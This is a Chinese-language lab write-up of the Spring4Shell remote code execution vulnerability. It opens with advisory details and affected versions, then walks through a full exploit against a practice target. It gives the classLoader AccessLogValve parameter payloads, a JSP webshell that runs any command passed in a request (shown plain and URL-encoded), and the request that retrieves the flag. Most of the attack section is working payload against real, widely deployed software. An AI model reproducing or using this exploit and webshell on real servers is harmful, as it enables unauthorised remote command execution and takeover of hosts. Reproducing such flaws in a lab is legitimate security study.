Spring框架(Framework)是一个开源的轻量级J2EE应用程序开发框架,提供了IOC、AOP及MVC等功能,解决了程序人员在开发中遇到的常见问题,提高了应用程序开发便捷度和软件系统构建效率。
2022年3月30日,CNVD平台接收到蚂蚁科技集团股份有限公司报送的Spring框架远程命令执行漏洞。由于Spring框架存在处理流程缺陷,攻击者可在远程条件下,实现对目标主机的后门文件写入和配置修改,继而通过后门文件访问获得目标主机权限。使用Spring框架或衍生框架构建网站等应用,且同时使用JDK版本在9及以上版本的,易受此漏洞攻击影响。
CNVD对该漏洞的综合评级为“高危”。
漏洞描述:
作为目前全球最受欢迎的Java轻量级开源框架,Spring允许开发人员专注于业务逻辑,简化Java企业级应用的开发周期。
但在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并 写入任意路径下的文件。
目前已知,触发该漏洞需要满足两个基本条件:
- 使用JDK9及以上版本的Spring MVC框架
- Spring 框架以及衍生的框架spring-beans-*.jar 文件或者存在CachedIntrospectionResults.class
漏洞影响范围:
JDK9 <= Spring Cloud Function
执行“java-version”命令可查看JDK版本
漏洞影响的产品版本包括:
版本低于5.3.18和5.2.20的Spring框架或其衍生框架构建的网站或应用。
漏洞复现: 开启靶场访问地址:http://192.168.111.105:42138/
提前说明:
pattern是日志格式;suffix是日志文件的后缀;prefix是日志文件的前缀;fileDateFormat是日期文件的时间格式
构造payloadclass.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
# 构建文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
# 修改tomcat日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
# 写入文件所在的网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
# 写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
# 文件日期格式(实际构造为空值即可)
进行验证访问http://192.168.111.105:42138/shell.jsp出现spring说明写入成功
使用火狐浏览器(虚拟机),设置代理
bp抓包(因为我的bp在物理机上,所有需要配置一下)
两边一致即可
进行抓包
写入webshell到网站根目录并让它解析
webshell:
%{c2}i if("t".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
因为是提交到url里的,所以需要将其url编码
%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
suffix:%>//
c1:Runtime
c2:<%
点击发送
返回虚拟机
访问http://192.168.111.105:42138/shell.jsp?pwd=t&cmd=ls%20/tmp,出现flag
提交flag成功了!!!



